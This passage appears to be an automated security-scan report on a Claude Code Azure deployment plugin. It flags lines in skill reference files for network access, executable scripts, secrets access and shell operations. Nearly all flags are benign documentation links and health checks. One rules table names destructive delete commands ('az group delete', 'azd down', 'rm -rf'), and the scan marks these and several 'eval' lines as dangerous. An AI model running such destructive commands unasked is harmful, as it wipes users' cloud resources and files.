    > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ```
  • Network accessline 14
    > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/iac-resources.md

  • Network accessline 7
    | Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 8
    |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u
  • Network accessline 9
    | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 10
    | Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type |
  • Network accessline 14
    | Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 15
    |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry.
  • Network accessline 16
    | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 17
    | Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs |
  • Network accessline 34
    | Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail
  • Network accessline 35
    |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR
  • Network accessline 36
    | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code |
  • Network accessline 37
    | App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues |
  • Network accessline 38
    | App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont
  • Network accessline 39
    | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures |
  • Network accessline 40
    | Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/mcp-tool-reference.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool
  • Network accessline 28
    > **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/phases/deploy.md

  • Network accessline 43
    | 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr
  • Network accessline 44
    | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc
  • Network accessline 45
    | 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/naming-patterns.md

  • Network accessline 5
    > **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/prepare-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide-services.md

  • Network accessline 197
    **Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide.md

  • Network accessline 66
    When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/sku-quota-validation.md

  • Network accessline 35
    $sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/
  • Network accessline 36
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20
  • Network accessline 37
    $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null
  • Network accessline 38
    $used  = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null
  • Network accessline 48
    az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" -
  • Network accessline 86
    $sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$s
  • Network accessline 87
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup
  • Network accessline 88
    $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/subagent-pricing.md

  • Network accessline 42
    - ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries (
  • Network accessline 45
    - ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1
  • Network accessline 46
    - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to
  • Network accessline 47
    - ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/validation-rubric.md

  • Network accessline 8
    |-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment*
  • Network accessline 9
    | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg
  • Network accessline 10
    | **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget
  • Network accessline 22
    - [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance
  • Network accessline 23
    - [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md

  • Network accessline 116
    > ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 117
    > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 133
    // ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL           #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets
  • Network accessline 134
    #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'           identity: 'system'  // Uses the CA's system-assigned managed identity
  • Network accessline 135
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 188
    Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars:
  • Network accessline 191
    env: [   { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 192
    { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 193
    { name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md

  • Network accessline 20
    > **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 79
    > **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold
  • Network accessline 80
    > > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne
  • Network accessline 81
    > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns.md

  • Network accessline 5
    > **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates.
  • Network accessline 76
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 77
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md

  • Network accessline 59
    1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 60
    2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 62
    Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/env-var-secrets.md

  • Network accessline 12
    > **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope
  • Network accessline 13
    > ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins }
  • Network accessline 14
    > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]'
  • Network accessline 35
    {     name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 36
    name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'     identity: 'system'
  • Network accessline 37
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Access to secretsline 56
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md

  • Network accessline 61
    ⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/self-review-checklist.md

  • Network accessline 112
    Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/terraform-patterns.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 162
    Export: `resource_group_name`, `app_url` (https://${hostname}), `resource_ids` (list of all deployed resource IDs for deploy-result.json).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/waf-checklist.md

  • Network accessline 5
    > **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1

  • Executable scriptline 1
    #!/usr/bin/env pwsh

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md

  • Network accessline 56
    > **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c
  • Network accessline 79
    | 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi
  • Network accessline 81
    | 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) |
  • Network accessline 83
    > **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands 
  • Network accessline 85
    > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azcli/verify.md

  • Network accessline 10
    curl -s https://<endpoint>/health | jq .
  • Network accessline 39
    # Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN"
  • Network accessline 41
    echo "https://$FQDN"
  • Network accessline 43
    # App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 45
    echo "https://$HOSTNAME"
  • Network accessline 47
    # Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 49
    echo "https://$HOSTNAME"
  • Network accessline 54
    # Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn"
  • Network accessline 56
    Write-Output "https://$Fqdn"
  • Network accessline 58
    # App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname"
  • Network accessline 60
    Write-Output "https://$Hostname"
  • Network accessline 62
    # Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname"
  • Network accessline 64
    Write-Output "https://$Hostname"
  • Network accessline 67
    > ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`.
  • Network accessline 69
    Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/ef-migrations.md

  • Network accessline 146
    - [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
  • Network accessline 148
    - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/functions-deploy.md

  • Network accessline 73
    # Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 74
    curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 76
    # Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 77
    curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 79
    # Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 80
    curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 86
    # DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 87
    curl -I "https://<func-name>.azurewebsites.net/api/<route>"

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/post-deployment.md

  • Dangerous shell operationline 38
    eval $(azd env get-values)
  • Network accessline 78
    # Health check curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 79
    curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 81
    # Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
  • Network accessline 82
    curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh

  • Executable scriptline 1
    #!/bin/bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh

  • Executable scriptline 1
    #!/bin/bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md

  • Dangerous shell operationline 16
    eval $(azd env get-values)
  • Dangerous shell operationline 83
    eval $(azd env get-values)
  • Dangerous shell operationline 171
    eval $(azd env get-values)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/verify.md

  • Network accessline 14
    Resource Group: rg-myapp-dev   Services:     api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 16
    api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 25
    # Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 26
    curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 66
    | Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 68
    | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 70
    Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io
  • Network accessline 73
    > ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user.
  • Dangerous shell operationline 85
    eval $(azd env get-values)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/bicep/verify.md

  • Network accessline 18
    curl -s https://<endpoint>/health | jq .
  • Network accessline 31
    Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/cicd/verify.md

  • Network accessline 16
    curl -s https://<endpoint>/health | jq .
  • Network accessline 23
    Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/README.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/errors.md

  • Access to secretsline 10
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/verify.md

  • Network accessline 11
    curl -s https://$(terraform output -raw api_url)/health | jq .
  • Network accessline 30
    Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 65
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/troubleshooting.md

  • Network accessline 114
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 115
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 134
    **Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/apim.md

  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 209
    - [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview)
  • Network accessline 210
    - [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service)
  • Network accessline 211
    - [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management)
  • Network accessline 212
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/aspire.md

  • Network accessline 267
    | Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 268
    |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github.
  • Network accessline 269
    | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 270
    | AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy |
  • Network accessline 271
    | AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration |
  • Network accessline 272
    | eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app |
  • Network accessline 418
    - [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/)
  • Network accessline 419
    - [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 420
    - [Aspire Samples Repository](https://github.com/dotnet/aspire-samples)
  • Network accessline 421
    - [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
